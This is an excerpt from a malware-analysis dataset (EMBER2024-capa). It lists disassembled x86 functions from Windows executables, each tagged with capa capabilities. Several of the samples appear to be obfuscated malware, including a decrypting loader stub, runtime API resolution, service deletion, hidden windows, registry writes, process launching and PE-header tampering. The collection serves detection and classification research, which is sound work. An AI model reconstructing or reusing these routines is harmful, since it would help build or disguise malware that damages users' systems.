joyce8/EMBER2024-capa huggingface dataset:
Function at 0x16088a28
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x16093054]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x16093838]
je 0x16088a5d
inc eax
cmp eax, 0x13
jb 0x16088a4e
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x16093838]
jne 0x16088b83
mov eax, dword [0x16093c90]
cmp eax, 1
je 0x16088b5b
cmp eax, edx
jne 0x16088a8d
cmp dword [0x16093c94], 1
je 0x16088b5b
cmp ecx, 0xfc
je 0x16088b83
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x16088ac3
lea eax, [ebp - 0x80]
push str._program_name_unknown_
push eax
call fcn.16088d00
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.16088f30
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x16088af7
mov eax, edi
push eax
call fcn.16088f30
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x16090364
push edi
call fcn.16088e00
add esp, 0x10
push edi
call fcn.16088f30
push dword [esi + 0x1609383c]
mov ebx, eax
call fcn.16088f30
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.16088840
mov ebx, esp
push str.Runtime_Error__n_nProgram:
push ebx
call fcn.16088d00
push edi
push ebx
call fcn.16088d10
push 0x16090360
push ebx
call fcn.16088d10
push dword [esi + 0x1609383c]
push ebx
call fcn.16088d10
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebx
call fcn.16088c02
add esp, 0x2c
jmp 0x16088b83
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x1609383c]
push dword [esi]
call fcn.16088f30
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.16083265
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x1608e16b
Capabilities:
Clear file content

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.16088840
mov eax, dword [0x16093054]
push ebx
push esi
push 1
xor esi, esi
push esi
push dword [ebp + 8]
mov dword [ebp - 4], eax
call fcn.1608ca61
or ebx, 0xffffffff
add esp, 0xc
cmp eax, ebx
mov dword [ebp - 0x1008], eax
je 0x1608e29e
push 2
push esi
push dword [ebp + 8]
call fcn.1608ca61
add esp, 0xc
cmp eax, ebx
je 0x1608e29e
push edi
mov edi, dword [ebp + 0xc]
sub edi, eax
test edi, edi
jle 0x1608e23e
mov ebx, 0x1000
push ebx
lea eax, [ebp - 0x1004]
push esi
push eax
call fcn.16087260
push 0x8000
push dword [ebp + 8]
call fcn.1608e891
add esp, 0x14
mov dword [ebp - 0x100c], eax
cmp edi, ebx
mov eax, ebx
jge 0x1608e1f4
mov eax, edi
push eax
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call fcn.16089497
add esp, 0xc
cmp eax, 0xffffffff
je 0x1608e214
sub edi, eax
test edi, edi
jg 0x1608e1ec
jmp 0x1608e22c
call fcn.16087431
cmp dword [eax], 5
jne 0x1608e229
call fcn.16087428
mov dword [eax], 0xd
or esi, 0xffffffff
push dword [ebp - 0x100c]
push dword [ebp + 8]
call fcn.1608e891
pop ecx
pop ecx
jmp 0x1608e286
jge 0x1608e286
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1608ca61
push dword [ebp + 8]
call fcn.16089151
add esp, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, ebx
jne 0x1608e286
call fcn.16087428
mov dword [eax], 0xd
call fcn.16087431
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [edi], eax
push 0
push dword [ebp - 0x1008]
push dword [ebp + 8]
call fcn.1608ca61
add esp, 0xc
mov eax, esi
pop edi
jmp 0x1608e2a0
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.16083265
leave
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x408d1e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x408d2d
pop dword [ebp - 0x4c]
mov eax, 0xcc64a69
add eax, 0xf37a42c4
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x37f88
push 0
mov eax, 0xadd3a0f1
add eax, 0x526d402f
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x4285
mov edi, eax
mov edx, 0x417800
add edx, dword [ebp - 0x4c]
mov esi, 0x2b1f4206
sub esi, 0xaf3c816c
xor dword [ebp - 0x18], 0x7ad1cec1
mov ebx, dword [edx]
xor dword [ebp - 0x24], 0x44e344ab
sub ebx, esi
mov dword [ebp - 0x24], 0x20031d1d
mov dword [edi], ebx
add edi, 4
add edx, 0x5f74213c
add edx, 0xa08bdec8
loop 0x408d80
add eax, 0xfc1fef70
add eax, 0x3e10d77
mov ebx, eax
add eax, 0xb4aed826
sub eax, 0xb4aed821
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x401030
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x618
xor eax, eax
push ebp
mov dword [esp + 5], eax
push esi
mov dword [esp + 0xd], eax
push edi
mov dword [esp + 0x15], eax
mov ecx, 0xff
mov word [esp + 0x19], ax
lea edi, [esp + 0x225]
mov byte [esp + 0x1b], al
mov byte [esp + 0x224], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, 0x41cad8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x224]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x228]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov byte [esp + 0x10], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x228]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x41caf4
mov byte [esp + ecx + 0x228], 0xa
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x124]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0xc]
push 5
push ecx
call fcn.004025f0
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x120]
lea ecx, [esp + 0x1c]
push edx
push eax
push 0x41cacc
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edi, [esp + 0x234]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x234]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
lea eax, [esp + 0x34]
push 0x41cac8
push eax
call fcn.00403030
add esp, 0x20
test eax, eax
pop edi
pop esi
pop ebp
jne 0x401157
add esp, 0x618
ret
lea ecx, [esp + 0x10]
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
mov eax, 1
add esp, 0x618
ret
Function at 0x401500
Capabilities:
Check os version

Disassembly:
pop ebx
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x94
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
jl 0x40153b
push edi
mov edi, 0x513b465
pop edi
jge 0x40153b
sbb dl, bl
pop ss
push es
mov dl, 0xf4
dec esi
or edi, ebp
stosb byte es:[edi], al
sub dl, dl
aad 0x79
jb 0x401540
cmp dword [ebp - 0x90], 5
jne 0x40154d
inc dword [0x1b80975]
add byte [eax], al
add byte [ebx + 0xfc35de5], cl
mov bl, byte [esi]
add byte [eax], al
add byte [eax + 0x66], dl
mov eax, 0xf58ea42
mov edx, dword [edx]
add byte [eax], al
add byte [edi + 0x58], ah
mov eax, 1
mov esp, ebp
pop ebp
ret
jp 0x401571
push eax
mov ax, 0xea42
pop eax
jnp 0x401571
pop eax
mov edx, 0xb7bc9ea5
jb 0x401592
jp 0x4014f8
test cl, 0x87
xor esp, esi
cwde
push edx
cmp dword [ebp - 0x90], 6
jne 0x40158d
mov eax, dword [ebp - 0x8c]
test eax, eax
jne 0x40158d
mov eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4017a0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0
push eax
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x41cb14
push 0x413010
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
test eax, eax
jne 0x4017d8
pop ebp
ret
jp 0x4017e2
push cx
mov cl, 0x21
pop cx
jnp 0x4017e2
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, 1
pop ebp
ret

Function at 0x401800
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
pushal
mov eax, eax
mov cx, 0xebe
popal
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push 0xf01ff
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x40182c
pop edi
pop esi
pop ebx
pop ebp
ret
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov edi, eax
push eax
push dx
inc eax
pop dx
pop eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x401b00
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
lea eax, [ebp - 4]
push eax
call fcn.00403090
add esp, 4
test eax, eax
jne 0x401b30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push ax
xor al, bl
add ah, 0x25
cmp ax, dx
sub ax, dx
or ebx, 0x62f5
cmp ebx, edi
or ax, bx
test bl, 1
pop ax
pop ebx
mov eax, dword [ebp - 4]
test eax, eax
jne 0x401b5f
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
test ebx, 0x2fbf
cmp bh, ch
add bh, 0x30
pop ebx
mov edx, dword [ebp - 4]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push 1
push 0x41c8d4
push 0x41c894
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ba0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push edi
xor dl, dl
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x20f]
mov byte [ebp - 0x210], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
jle 0x401bea
push si
mov si, 0xf280
pop si
jg 0x401bea
lea eax, [ebp - 0x210]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x210]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x41c6b4
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
pushal
and bl, ah
inc dl
sub ch, ah
test ax, 0x1e59
popal
lea ecx, [ebp - 8]
lea edx, [ebp - 4]
push ecx
push edx
call fcn.00401700
add esp, 8
push edx
push ax
sub edx, eax
cmp dx, cx
add edx, 0x1ab
xor ax, 0x2160
test bh, dl
test di, dx
pop ax
pop edx
mov eax, dword [ebp - 4]
push eax
call fcn.00401cc0
add esp, 4
push ecx
dec ecx
and cx, di
or cx, 0x61be
pop ecx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
push ecx
push edx
lea eax, [ebp - 0x10c]
push 0x41c6d4
push eax
call fcn.00403030
add esp, 0x10
test eax, eax
jne 0x401c90
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edx
push esi
test si, 0x2af8
xor edx, ecx
add ax, bx
or ax, 0x11a9
pop esi
pop edx
pop eax
lea ecx, [ebp - 0x10c]
push ecx
call fcn.00403f20
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
jo 0x401ced
push dx
mov dx, 0x7a78
pop dx
jno 0x401ced
insb byte es:[edi], dx
mov bl, 0xbc
ja 0x401d58
fdiv qword [eax - 0x7f6a6a73]
push 0x56
mov bh, byte [ecx]
mov eax, 0x66087d8b
cmp dword [edi], 0x9745a4d
mov edi, dword [ebp + 8]
cmp word [edi], 0x5a4d
je 0x401d00
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edx
cmp dh, al
mov eax, 0x2562
add ax, di
test ax, 0x5cb2
cmp ax, di
cmp ax, di
or al, 0x4c
or eax, ecx
pop edx
pop eax
mov eax, dword [edi + 0x3c]
add eax, edi
js 0x401d36
xchg cx, cx
mov edi, edi
mov edx, edx
jns 0x401d36
adc eax, 0x5038812f
inc ebp
add byte [eax], al
cmp dword [eax], 0x4550
je 0x401d47
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jo 0x401d55
push ecx
mov ecx, 0x9bcdcc09
pop ecx
jno 0x401d55
inc eax
movsd dword es:[edi], dword [esi]
mov edx, 0x8558488b
leave
mov ecx, dword [eax + 0x58]
test ecx, ecx
je 0x401d65
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, pe_nt_image_headers32
mov dword [ebp - 4], esi
push ecx
xor ecx, 0x6dd
inc cx
cmp cl, 0x23
add ch, al
xor ecx, edx
cmp cl, cl
test ch, 0x2b
cmp cx, cx
cmp ch, 0x51
or ecx, ecx
pop ecx
jbe 0x401d9b
mov dx, dx
mov esi, esi
ja 0x401d9b
sub ch, byte [ebx]
cmp byte [edx - 0xb], dl
sub dword [edi - 0x7f], esp
jg 0x401dda
cmp dword [edi + 0x3c], 0x80
ja 0x401dad
add byte [eax], 0
add byte [edi + 9], dh
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edx
cmp dl, al
and dl, 0x4e
or dl, 0x38
and dl, al
and edx, eax
xor dh, 0x3c
add dh, bh
or edx, 0x604
add dh, dl
pop edx
mov edi, dword [edi + 0x3c]
cmp edi, 0xc0
jae 0x401ddb
add edi, 0xffffff80
mov dword [ebp - 4], edi
mov esi, edi
not dword [ebx + 0x66]
xor ebx, 0xd82b70c5
push ebx
xor bx, 0x70c5
sub ebx, eax
or bx, cx
xor bl, bl
test cx, bx
cmp bh, cl
mov bh, 3
pop ebx
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
jne 0x401e07
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jb 0x401e20
push edx
mov dx, 0xecd6
pop edx
jae 0x401e20
cmc
adc eax, 0x7c8ecb0d
xor dword [esi + 0x43d1773a], 0x3327e95e
fild dword [ebp + 0x503b76f6]
xor ebx, ebx
test esi, esi
jbe 0x401e61
push eax
push edi
test edi, 0x6e34
dec ax
dec ah
or eax, ecx
xor al, dh
or eax, 0x24ad
cmp ax, cx
test eax, eax
dec ah
and di, di
pop edi
pop eax
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 8]
inc ebx
cmp ebx, esi
mov byte [ebx + eax - 1], dl
jb 0x401e26
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea edi, [eax + 0x80]
mov eax, ecx
mov esi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
test eax, 0x7cbd
sub ah, bl
cmp eax, 0x2aed
add ah, 0x4d
and eax, 0x26ae
dec ax
pop eax
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401ec0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x314
push ebx
push esi
push edi
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x10b]
mov byte [ebp - 0x10c], 0
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 8], esi
stosb byte es:[edi], al
jb 0x401f03
push edx
mov dx, 0xecd6
pop edx
jae 0x401f03
cmc
adc eax, 0x7c8ecb0d
xor dword [esi + 0x43d1773a], 0xe827e95e
push 0x5000001d
call fcn.00403c70
push eax
push dx
inc eax
pop dx
pop eax
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov dword [ebp - 4], esi
call fcn.00401ad0
mov esi, eax
call fcn.00401ad0
mov edi, eax
call fcn.00401ad0
push esi
mov esi, dword [ebp + 0x10]
push esi
mov ebx, eax
call fcn.004025f0
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.004025f0
push ebx
mov ebx, dword [ebp + 0xc]
push ebx
call fcn.004025f0
add esp, 0x18
lea ecx, [ebp - 0x10c]
lea edx, [ebp - 0x314]
push esi
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push ecx
push 0x41c6b4
push edx
call esi
lea eax, [ebp - 0x314]
push eax
call fcn.004019b0
add esp, 0x14
test eax, eax
je 0x401fdb
lea ecx, [ebp - 0x10c]
push edi
push ecx
lea edx, [ebp - 0x210]
push 0x41c6c0
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.004019b0
add esp, 0x14
test eax, eax
je 0x401fdb
lea ecx, [ebp - 0x10c]
push ebx
push ecx
lea edx, [ebp - 0x210]
push 0x41c6c0
push edx
call esi
lea eax, [ebp - 0x210]
push eax
call fcn.004019b0
add esp, 0x14
test eax, eax
jne 0x401ff0
mov eax, dword [ebp - 4]
inc eax
cmp eax, 3
mov dword [ebp - 4], eax
jl 0x401f24
mov esi, dword [ebp - 8]
jmp 0x401ff5
mov esi, 1
mov ecx, dword [ebp + 0x14]
push 4
push ecx
call fcn.004025f0
add esp, 8
xor eax, eax
test esi, esi
pop edi
pop esi
setne al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402020
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004023b0
test eax, eax
jne 0x402055
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 8]
cmp esi, 0xffffffff
jne 0x402088
call fcn.00402310
test eax, eax
je 0x402077
push eax
push edi
push esi
inc si
cmp edi, eax
pop esi
pop edi
pop eax
mov esi, 0xc
jmp 0x402088
jle 0x402083
push si
mov si, 0xf280
pop si
jg 0x402083
mov esi, 0xd
push eax
push ebx
push ecx
mov cl, 0x6d
inc ebx
pop ecx
pop ebx
pop eax
lea eax, [ebp - 8]
push 0
push eax
push 0
push pe_nt_image_headers32
push 1
push 0x41c8f8
call dword [0x41cb2c]
test eax, eax
je 0x4020b5
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
test ebx, 0x2fbf
cmp bh, ch
add bh, 0x30
pop ebx
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + 0x18]
jl 0x4020e9
push dx
mov dx, 0x642f
pop dx
jge 0x4020e9
out 0xc4, eax
push ds
xor dl, cl
cld
push ss
stosd dword es:[edi], eax
jo 0x4020ea
push edx
cmp bh, byte [eax]
push eax
call dword [0x41cb34]
je 0x402108
mov si, si
xchg bx, bx
jne 0x402108
mov al, byte [0x4bb148d3]
outsb dx, byte [esi]
push esi
push eax
lea edx, [ebp - 0x208]
push 0x41c908
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
jp 0x402136
push si
pop si
jnp 0x402136
outsd dx, dword [esi]
cmp ah, byte [edx]
aas
pop esp
salc
jbe 0x402128
sbb dword [edi + edx*2], 0xffffff85
mov dword [ecx + 0x6a], eax
add byte [edx], ch
push 0
push 0
push 0
push 0
push 0x41cb14
call dword [0x41cb30]
test eax, eax
mov dword [ebp + 8], eax
jne 0x402157
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
mov eax, eax
mov cx, 0xebe
popal
mov esi, dword [ebp + 8]
lea eax, [ebp - 4]
push 4
push eax
push 2
push esi
mov dword [ebp - 4], 0xbb8
call dword [0x41cb28]
jbe 0x402186
mov di, di
xchg edi, edi
ja 0x402186
and eax, 0xe2f4cc58
push 0
push 0x84000000
push 0
lea ecx, [ebp - 0x208]
push 0
push ecx
push esi
call dword [0x41cb24]
test eax, eax
jne 0x4021b3
push esi
call dword [0x41cb38]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ecx
push edx
sub ecx, eax
test esi, ecx
xor cl, ch
cmp dh, 0x74
or ch, 0x3d
cmp dl, bl
test ecx, 0x5962
or cx, bx
or edx, eax
cmp ch, cl
pop edx
pop ecx
push eax
call dword [0x41cb38]
push esi
call dword [0x41cb38]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4021f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, 1
je 0x402218
push edi
mov di, 0x9ce2
pop edi
jne 0x402218
insd dword es:[edi], dx
dec esp
jl 0x402282
xor eax, 0xdee0ed6d
aad 0xcf
xor byte [ebx + 0x558b0c4d], cl
or byte [ebp + 0x6850fc45], cl
aas
add byte [edi], cl
add byte [edx], ch
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40223c
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push eax
test edx, eax
cmp eax, ecx
pop eax
mov eax, dword [ebp + 0x1c]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp - 4]
push edx
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x402264
xor esi, esi
push ecx
push edx
and cx, si
cmp dx, si
xor dl, bh
or dl, 0x67
pop edx
pop ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4023b0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x41cb3c]
push ebx
push esi
push edi
test eax, eax
je 0x4023cc
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
push edx
xor al, 0x3d
sub ah, 0x2b
add eax, 0x7c28
or dh, dl
xor ax, dx
cmp ax, 0x4001
pop edx
pop eax
push 0x41c80c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
mov dword [ebp - 4], eax
jne 0x4023fc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushal
mov eax, eax
mov cx, 0xebe
popal
mov eax, dword [ebp - 4]
push 0x41c818
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
mov dword [0x41cb2c], eax
jne 0x402423
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push bx
push dx
push eax
cmp dh, 0x43
dec bl
dec bl
or bl, dh
cmp bl, 0x68
add bl, 0x3c
dec dl
dec bh
cmp eax, 0x6e32
pop eax
pop dx
pop bx
push 0x41c824
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
mov dword [ebp - 4], eax
jne 0x40245e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pushaw
push ecx
test bl, ah
or ch, 0x47
pop ecx
popaw
mov ecx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x41c830
push ecx
call edi
test eax, eax
mov dword [0x41cb34], eax
jne 0x40248a
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jp 0x402494
push cx
mov cl, 0x21
pop cx
jnp 0x402494
push 0x41c83c
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
mov dword [ebp - 4], esi
jne 0x4024af
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jle 0x4024bd
mov si, si
mov si, si
jg 0x4024bd
fsub qword [ebp + 0x486892c9]
enter 0x41, 0x56
push 0x41c848
push esi
call edi
test eax, eax
mov dword [0x41cb30], eax
jne 0x4024d5
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
cmp al, bl
inc ah
test si, ax
test esi, eax
pop eax
push 0x41c858
push esi
call edi
test eax, eax
mov dword [0x41cb24], eax
jne 0x4024f8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push bx
push si
push edi
or edi, 0x3f3c
and si, cx
pop edi
pop si
pop bx
mov esi, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x41c86c
push esi
call edi
test eax, eax
mov dword [0x41cb28], eax
jne 0x40252c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
and bx, cx
pop ebx
push 0x41c880
push esi
call edi
test eax, eax
mov dword [0x41cb38], eax
jne 0x402549
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
add bx, ax
mov bx, 0x6602
and bh, dl
pop ebx
mov eax, 1
pop edi
pop esi
mov dword [0x41cb3c], eax
pop ebx
mov esp, ebp
pop ebp
ret